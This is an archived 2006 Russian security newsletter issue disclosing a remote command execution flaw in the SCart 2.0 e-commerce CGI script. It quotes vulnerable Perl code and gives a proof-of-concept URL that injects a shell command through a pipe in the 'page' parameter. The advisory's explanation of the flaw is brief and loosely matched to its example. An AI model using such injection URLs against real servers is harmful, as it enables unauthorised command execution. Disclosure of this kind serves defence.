Отправляет email-рассылки с помощью сервиса Sendsay

IT-безопасность в быту и не только

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Июнь 2006   →
 1
 2
 3
 4
 5
 6
 7
 8
08.06.2006
07:05:38
13:05:05
 9
09.06.2006
07:05:21
13:05:14
10
11
12
13
14
15
16
17
18
18.06.2006
07:05:13
10:05:28
19
20
21
22
23
24
25
26
27
28
29
30
Автор
Forester

Статистика

1.394 подписчиков
-1 за неделю
←   Все выпуски   →

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в SCart.


Компьютер для продвинутых пользователей
В этом выпуске:
SCart
ПО: SCart
Версия: 2.0
Сайт: http://www.scartserver.com

О SCart:
Приложение для оплаты покупок в электронных магазинах.
Уязвимость:
В scart.cgi есть строки кода:
....
require 'scart.pl';
require '/home/scart/cgi-bin/2.0/scartserver.cgi';
....
 затем в scartserver.cgi в папке cgi-bin находим:
....
$HTML{TAB2} = "$baseurl$cgiurl/?action=show_page&base=base2.html&page=browse.txt";
$HTML{TAB3} = "$baseurl$cgiurl/?action=show_page&base=base3.html&page=specials.txt";
$HTML{BUTTONBAR} = $buttonbar;
$HTML{VIEWCART} = "$baseurl$cgiurl?action=viewcart";
$HTML{CHECKOUT} = "$secureurl$cgiurl?action=checkout";
$HTML{TRACK} = "$baseurl$cgiurl?action=show_track";
$HTML{HELP} = "$baseurl$cgiurl/?action=show_page&base=base.html&page=help.txt";
....
Переменные $baseurl и $cgiurl не проверяются. Это может быть использовано для выполнения удаленных команд.
Использование:
http://www.scartserver.com/2.0/[client_user_name]/scart.cgi/?action=show_page&base=base2.html&page=|id|
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru
В избранное